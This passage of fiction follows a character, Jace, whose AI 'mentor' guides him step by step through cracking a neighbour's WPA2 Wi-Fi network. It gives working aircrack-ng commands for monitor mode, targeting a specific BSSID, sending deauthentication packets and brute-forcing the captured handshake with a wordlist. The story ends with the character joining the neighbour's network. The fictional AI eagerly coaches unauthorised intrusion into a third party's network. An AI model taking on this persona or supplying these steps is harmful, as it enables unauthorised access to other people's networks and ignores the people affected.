But something was missing.
Internet access.
Because if he wanted real power, he needed to learn how to control networks.
Jace's AI wasn’t just a chatbot anymore.
It was a mentor. A guide into breaking systems.
So he asked:
Jace: How does Wi-Fi security work?
AI: "Modern networks use WPA2 encryption. To break in, you need to capture the handshake and crack the key."
Jace had heard of this. WPA2 was the lock on most home networks.
A handshake was the key exchange when a device connected.
And if he could capture that, he could force it open.
The AI walked him through the process.
Step 1: Install Aircrack-ng
Jace opened his terminal.
bash
sudo apt install aircrack-ng
Installed.
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Step 2: Switch Wi-Fi into Monitor Mode
His normal Wi-Fi card sent and received packets.
But to capture handshakes, it needed to listen to all traffic.
bash
sudo airmon-ng start wlan0
The card switched into monitor mode.
Now he could see every network around him.
bash
sudo airodump-ng wlan0mon
The screen flooded with networks.
His neighbor’s Wi-Fi popped up:
SSID: GarciaHome
BSSID: 98:DE:D0:75:A2:1F
Channel: 6
He locked onto the target.
bash
sudo airodump-ng -c 6 --bssid 98:DE:D0:75:A2:1F -w handshake wlan0mon
Now he waited.
A handshake happens when a device connects.
He could wait for someone to join...
Or force them to reconnect.
Jace wasn’t patient.
AI: "You can send deauthentication packets to kick someone off the network."
Jace: "And when they reconnect?"
AI: "You capture the handshake."
He ran the attack.
bash
sudo aireplay-ng -0 5 -a 98:DE:D0:75:A2:1F wlan0mon
Five deauth packets sent.
A device dropped. Then rejoined.
And the terminal flashed—
[ WPA Handshake captured ]
Jace had it.
The handshake was encrypted.
He needed to brute-force it.
AI: "Use a wordlist attack."
bash
aircrack-ng -w rockyou.txt -b 98:DE:D0:75:A2:1F handshake.cap
The attack began.
The AI explained:
"It’s testing passwords from rockyou.txt. If the Wi-Fi password is common, it’ll break."
Jace watched as thousands of passwords flashed by.
Then—
KEY FOUND: "GarciaFamily2023"
Jace copied it.
Joined the network.
Connected.
He was in.